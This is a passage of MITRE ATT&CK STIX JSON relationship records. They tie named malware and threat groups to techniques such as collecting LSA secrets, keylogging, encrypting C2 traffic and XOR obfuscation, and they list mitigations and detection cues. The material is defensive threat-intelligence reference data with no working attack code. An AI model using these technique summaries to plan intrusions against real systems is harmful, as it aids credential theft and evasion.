Image=\"C:\\\\Windows\\\\System32\\\\ipconfig.exe\")","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--261937ca-8c05-430a-9c85-280b78505f65","created":"2022-04-13T21:20:54.939Z","x_mitre_version":"0.1","external_references":[{"source_name":"McAfee Lazarus Nov 2020","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-behind-the-scenes/","description":"Beek, C. (2020, November 5). Operation North Star: Behind The Scenes. Retrieved December 20, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Torisma](https://attack.mitre.org/software/S0678) has encoded C2 communications with Base64.(Citation: McAfee Lazarus Nov 2020)","modified":"2022-04-13T21:20:54.939Z","relationship_type":"uses","source_ref":"malware--0715560d-4299-4e84-9e20-6e80ab57e4f2","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--261d9569-d779-4f76-a7e3-6f704afc8185","created":"2023-07-31T17:57:23.586Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"},{"source_name":"Secureworks BRONZE SILHOUETTE May 2023","description":"Counter Threat Unit Research Team. (2023, May 24). Chinese Cyberespionage Group BRONZE SILHOUETTE Targets U.S. Government and Defense Organizations. Retrieved July 27, 2023.","url":"https://www.secureworks.com/blog/chinese-cyberespionage-group-bronze-silhouette-targets-us-government-and-defense-organizations"},{"source_name":"Microsoft Volt Typhoon May 2023","description":"Microsoft Threat Intelligence. (2023, May 24). Volt Typhoon targets US critical infrastructure with living-off-the-land techniques. Retrieved July 27, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2023/05/24/volt-typhoon-targets-us-critical-infrastructure-with-living-off-the-land-techniques/"},{"source_name":"Joint Cybersecurity Advisory Volt Typhoon June 2023","description":"NSA et al. (2023, May 24). People's Republic of China State-Sponsored Cyber Actor Living off the Land to Evade Detection. Retrieved July 27, 2023.","url":"https://media.defense.gov/2023/May/24/2003229517/-1/-1/0/CSA_Living_off_the_Land.PDF"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-17T20:40:23.643Z","description":"[Volt Typhoon](https://attack.mitre.org/groups/G1017) has used the Windows command line to perform hands-on-keyboard activities in targeted environments including for discovery.(Citation: Microsoft Volt Typhoon May 2023)(Citation: Joint Cybersecurity Advisory Volt Typhoon June 2023)(Citation: Secureworks BRONZE SILHOUETTE May 2023)(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)\n","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--261e7ed2-9252-40ea-9f06-abc45797c004","created":"2020-12-29T16:20:58.975Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Nicolas Falliere, Liam O Murchu, Eric Chien February 2011","description":"Nicolas Falliere, Liam O Murchu, Eric Chien 2011, February W32.Stuxnet Dossier (Version 1.4) Retrieved. 2017/09/22 ","url":"https://www.wired.com/images_blogs/threatlevel/2011/02/Symantec-Stuxnet-Update-Feb-2011.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-17T17:57:04.947Z","description":"[Stuxnet](https://attack.mitre.org/software/S0603) calls LoadLibrary then executes exports from a DLL.(Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011)","relationship_type":"uses","source_ref":"malware--088f1d6e-0783-47c6-9923-9c79b2af43d4","target_ref":"attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2624fd3f-9282-4080-bace-6a673fd31b9f","type":"relationship","created":"2019-04-16T17:43:42.931Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT33 Guardrail","url":"https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html","description":"Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019."}],"modified":"2020-03-21T00:17:11.147Z","description":"[POWERTON](https://attack.mitre.org/software/S0371) has used AES for encrypting C2 traffic.(Citation: FireEye APT33 Guardrail)","relationship_type":"uses","source_ref":"malware--e85cae1a-bce3-4ac4-b36b-b00acac0567b","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2625dfe6-7c02-4df7-b98f-dbfedb2d104b","type":"relationship","created":"2020-03-19T22:38:12.939Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"F-Secure The Dukes","description":"F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.","url":"https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"}],"modified":"2020-03-19T22:38:12.939Z","description":"[CosmicDuke](https://attack.mitre.org/software/S0050) collects LSA secrets.(Citation: F-Secure The Dukes)","relationship_type":"uses","source_ref":"malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee","target_ref":"attack-pattern--1ecfdab8-7d59-4c98-95d4-dc41970f57fc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2627d84f-081d-4b14-9d7d-5a1ca77d5869","type":"relationship","created":"2019-06-24T13:56:03.621Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blogs.technet.microsoft.com/srd/2017/08/09/moving-beyond-emet-ii-windows-defender-exploit-guard/","description":"Nunez, N. (2017, August 9). Moving Beyond EMET II – Windows Defender Exploit Guard. Retrieved March 12, 2018.","source_name":"TechNet Moving Beyond EMET"},{"url":"https://en.wikipedia.org/wiki/Control-flow_integrity","description":"Wikipedia. (2018, January 11). Control-flow integrity. Retrieved March 12, 2018.","source_name":"Wikipedia Control Flow Integrity"}],"modified":"2022-02-24T15:06:46.353Z","description":"Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for all software or services targeted.","relationship_type":"mitigates","source_ref":"course-of-action--d2a24649-9694-4c97-9c62-ce7b270bf6a3","target_ref":"attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--26289101-47e6-47a5-bc9f-19bf918721d6","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Comnie","description":"Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/"}],"modified":"2020-03-17T00:43:32.150Z","description":"[Comnie](https://attack.mitre.org/software/S0244) attempts to detect several anti-virus products.(Citation: Palo Alto Comnie)","relationship_type":"uses","source_ref":"malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--262fe71a-a2d5-4624-ac50-5a76c0dd862e","created":"2022-08-09T18:31:53.290Z","x_mitre_version":"0.1","external_references":[{"source_name":"Unit 42 PingPull Jun 2022","url":"https://unit42.paloaltonetworks.com/pingpull-gallium/","description":"Unit 42. (2022, June 13). GALLIUM Expands Targeting Across Telecommunications, Government and Finance Sectors With New PingPull Tool. Retrieved August 7, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[PingPull](https://attack.mitre.org/software/S1031) can enumerate storage volumes and folder contents of a compromised host.(Citation: Unit 42 PingPull Jun 2022)","modified":"2022-08-09T18:31:53.290Z","relationship_type":"uses","source_ref":"malware--3a0f6128-0a01-421d-8eca-e57d8671b1f1","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--26303f07-87f0-4740-b6ea-e81e8c01b267","type":"relationship","created":"2020-05-26T20:33:11.754Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CheckPoint Naikon May 2020","url":"https://research.checkpoint.com/2020/naikon-apt-cyber-espionage-reloaded/","description":"CheckPoint. (2020, May 7). Naikon APT: Cyber Espionage Reloaded. Retrieved May 26, 2020."}],"modified":"2020-05-26T20:33:11.754Z","description":"[Aria-body](https://attack.mitre.org/software/S0456) has the ability to decrypt the loader configuration and payload DLL.(Citation: CheckPoint Naikon May 2020)","relationship_type":"uses","source_ref":"malware--3161d76a-e2b2-4b97-9906-24909b735386","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--26339d57-98d9-4323-97e8-03642f82e245","type":"relationship","created":"2020-05-22T20:27:31.570Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Symantec Security Response. (2015, December 7). Iran-based attackers use back door threats to spy on Middle Eastern targets. Retrieved April 17, 2019.","url":"https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets","source_name":"Symantec Chafer Dec 2015"}],"modified":"2020-05-22T20:27:31.570Z","description":"[Cadelspy](https://attack.mitre.org/software/S0454) has the ability to log keystrokes on the compromised host.(Citation: Symantec Chafer Dec 2015)","relationship_type":"uses","source_ref":"malware--a705b085-1eae-455e-8f4d-842483d814eb","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--26352538-769c-42c0-9e38-0338c5891432","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Bankshot","description":"Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.","url":"https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/"}],"modified":"2020-03-16T16:41:06.916Z","description":"[Bankshot](https://attack.mitre.org/software/S0239) modifies the time of a file as specified by the control server.(Citation: McAfee Bankshot)","relationship_type":"uses","source_ref":"malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8","target_ref":"attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--26372fd8-6298-4da6-b412-5fb155f55786","type":"relationship","created":"2021-06-30T17:12:55.034Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Chaes Nov 2020","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/11-2020-Chaes-e-commerce-malware-research.pdf","description":"Salem, E. (2020, November 17). CHAES: Novel Malware Targeting Latin American E-Commerce. Retrieved June 30, 2021."}],"modified":"2021-06-30T17:12:55.034Z","description":"[Chaes](https://attack.mitre.org/software/S0631) has used Installutill to download content.(Citation: Cybereason Chaes Nov 2020)","relationship_type":"uses","source_ref":"malware--77e0ecf7-ca91-4c06-8012-8e728986a87a","target_ref":"attack-pattern--2cd950a6-16c4-404a-aa01-044322395107","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--26487c38-877a-4f63-8877-b0fa1624fa71","created":"2023-09-12T19:20:08.590Z","revoked":false,"external_references":[{"source_name":"Proofpoint TA2541 February 2022","description":"Larson, S. and Wise, J. (2022, February 15). Charting TA2541's Flight. Retrieved September 12, 2023.","url":"https://www.proofpoint.com/us/blog/threat-insight/charting-ta2541s-flight"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-12T19:20:08.590Z","description":"[TA2541](https://attack.mitre.org/groups/G1018) has used scheduled tasks to establish persistence for installed tools.(Citation: Proofpoint TA2541 February 2022) ","relationship_type":"uses","source_ref":"intrusion-set--467271fd-47c0-4e90-a3f9-d84f5cf790d0","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--264be7f9-61e1-4e9e-aa4a-aa4a7420f3b3","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Comnie","description":"Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/"}],"modified":"2020-03-17T18:47:41.140Z","description":"[Comnie](https://attack.mitre.org/software/S0244) executes BAT scripts.(Citation: Palo Alto Comnie)","relationship_type":"uses","source_ref":"malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--264e85a3-1ddc-4b68-87fc-c2b96d6ec0e9","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft PLATINUM April 2016","description":"Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.","url":"https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"}],"modified":"2020-03-16T16:57:39.229Z","description":"[JPIN](https://attack.mitre.org/software/S0201) can obtain network information, including DNS, IP, and proxies.(Citation: Microsoft PLATINUM April 2016)","relationship_type":"uses","source_ref":"malware--de6cb631-52f6-4169-a73b-7965390b0c30","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--264f59d1-abb8-4f79-8a32-49879700af15","created":"2021-03-29T16:51:26.178Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kubernetes RBAC","description":"Kubernetes. (n.d.). Role Based Access Control Good Practices. Retrieved March 8, 2023.","url":"https://kubernetes.io/docs/concepts/security/rbac-good-practices/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-15T16:15:44.965Z","description":"Enforce the principle of least privilege by limiting container dashboard access to only the necessary users. When using Kubernetes, avoid giving users wildcard permissions or adding users to the `system:masters` group, and use `RoleBindings` rather than `ClusterRoleBindings` to limit user privileges to specific namespaces.(Citation: Kubernetes RBAC)","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--56e0d8b8-3e25-49dd-9050-3aa252f5aa92","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2650cd6f-c837-4889-9044-37e9649d7bf4","created":"2022-09-22T20:34:25.873Z","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-22T20:34:25.873Z","description":"[ccf32](https://attack.mitre.org/software/S1043) has copied files to a remote machine infected with [Chinoxy](https://attack.mitre.org/software/S1041) or another backdoor.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"malware--a394448a-4576-41b8-81cc-9b61abad94ab","target_ref":"attack-pattern--359b00ad-9425-420b-bba5-6de8d600cbc0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--265401e7-92fa-46ea-b5d3-e64c387f6a8d","created":"2022-03-24T19:30:57.184Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ntlm_relaying_kerberos_del","description":"Mollema, D. (2019, March 4). The worst of both worlds: Combining NTLM Relaying and Kerberos delegation . Retrieved August 15, 2022.","url":"https://dirkjanm.io/worst-of-both-worlds-ntlm-relaying-and-kerberos-delegation/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-18T20:22:02.500Z","description":"Consider filtering DHCP traffic on ports 67 and 68 to/from unknown or untrusted DHCP servers. Additionally, port security may also be enabled on layer switches. Furthermore, consider enabling DHCP snooping on layer 2 switches as it will prevent DHCP spoofing attacks and starvation attacks. Consider tracking available IP addresses through a script or a tool. \n\nAdditionally, block DHCPv6 traffic and incoming router advertisements, especially if IPv6 is not commonly used in the network.(Citation: ntlm_relaying_kerberos_del)","relationship_type":"mitigates","source_ref":"course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d","target_ref":"attack-pattern--59ff91cd-1430-4075-8563-e6f15f4f9ff5","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--265686ee-6e90-439f-9966-e40b8472bd06","type":"relationship","created":"2019-06-28T17:40:32.427Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cyphort EvilBunny Dec 2014","url":"https://web.archive.org/web/20150311013500/http://www.cyphort.com/evilbunny-malware-instrumented-lua/","description":"Marschalek, M.. (2014, December 16). EvilBunny: Malware Instrumented By Lua. Retrieved June 28, 2019."}],"modified":"2019-07-01T18:16:33.187Z","description":"[EvilBunny](https://attack.mitre.org/software/S0396) has used WMI to gather information about the system.(Citation: Cyphort EvilBunny Dec 2014)","relationship_type":"uses","source_ref":"malware--a8a778f5-0035-4870-bb25-53dc05029586","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--265b6107-87c7-42c7-bc82-a7df3c7d3bfa","type":"relationship","created":"2022-03-30T14:26:51.863Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.863Z","description":"Locations where profile.ps1 can be stored should be monitored for modifications. (Citation: Malware Archaeology PowerShell Cheat Sheet) Example profile locations include:\n* $PsHome\\Profile.ps1\n* $PsHome\\Microsoft.{HostProgram}_profile.ps1\n* $Home\\My Documents\\PowerShell\\Profile.ps1\n* $Home\\My Documents\\PowerShell\\Microsoft.{HostProgram}_profile.ps1","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--0f2c410d-d740-4ed9-abb1-b8f4a7faf6c3","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malware Archaeology PowerShell Cheat Sheet","description":"Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.","url":"http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf"}]},{"type":"relationship","id":"relationship--266a5edd-1425-4ab1-88bf-a0d7897699eb","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Dell Sakula","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, July 30). Sakula Malware Family. Retrieved January 26, 2016.","url":"http://www.secureworks.com/cyber-threat-intelligence/threats/sakula-malware-family/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T00:10:27.623Z","description":"[Sakula](https://attack.mitre.org/software/S0074) uses single-byte XOR obfuscation to obfuscate many of its files.(Citation: Dell Sakula)","relationship_type":"uses","source_ref":"malware--96b08451-b27a-4ff6-893f-790e26393a8e","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--267fa35c-7748-40eb-87ba-bddc0c88d643","type":"relationship","created":"2019-06-24T13:52:51.890Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blogs.technet.microsoft.com/srd/2017/08/09/moving-beyond-emet-ii-windows-defender-exploit-guard/","description":"Nunez, N. (2017, August 9). Moving Beyond EMET II – Windows Defender Exploit Guard. Retrieved March 12, 2018.","source_name":"TechNet Moving Beyond EMET"},{"url":"https://en.wikipedia.org/wiki/Control-flow_integrity","description":"Wikipedia. (2018, January 11). Control-flow integrity. Retrieved March 12, 2018.","source_name":"Wikipedia Control Flow Integrity"}],"modified":"2021-04-22T16:13:35.348Z","description":"Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for software components targeted for privilege escalation.","relationship_type":"mitigates","source_ref":"course-of-action--d2a24649-9694-4c97-9c62-ce7b270bf6a3","target_ref":"attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--267fb6e6-0776-4de0-baac-985beb079ad2","created":"2021-10-14T18:59:38.978Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Group IB GrimAgent July 2021","description":"Priego, A. (2021, July). THE BROTHERS GRIM: THE REVERSING TALE OF GRIMAGENT MALWARE USED BY RYUK. Retrieved September 19, 2024.","url":"https://www.group-ib.com/blog/grimagent/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-19T14:32:39.428Z","description":"[GrimAgent](https://attack.mitre.org/software/S0632) can collect data and files from a compromised host.(Citation: Group IB GrimAgent July 2021)","relationship_type":"uses","source_ref":"malware--c9b99d03-ff11-4a48-95f0-82660d582c25","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--26802b94-95bf-4d01-a552-81069e62131a","type":"relationship","created":"2021-11-19T16:41:11.999Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro DRBControl February 2020","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021."}],"modified":"2021-11-19T16:41:11.999Z","description":"[Clambling](https://attack.mitre.org/software/S0660) can wait 30 minutes before initiating contact with C2.(Citation: Trend Micro DRBControl February 2020)","relationship_type":"uses","source_ref":"malware--6e95feb1-78ee-48d3-b421-4d76663b5c49","target_ref":"attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--26818c78-7042-4493-a94b-eec0d7b9972a","created":"2022-10-17T16:30:26.983Z","revoked":false,"external_references":[{"source_name":"BlackBerry Amadey 2020","description":"Kasuya, M. (2020, January 8). Threat Spotlight: Amadey Bot Targets Non-Russian Users. Retrieved July 14, 2022.","url":"https://blogs.blackberry.com/en/2020/01/threat-spotlight-amadey-bot"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-17T16:30:26.983Z","description":"[Amadey](https://attack.mitre.org/software/S1025) has used a variety of Windows API calls, including `GetComputerNameA`, `GetUserNameA`, and `CreateProcessA`.(Citation: BlackBerry Amadey 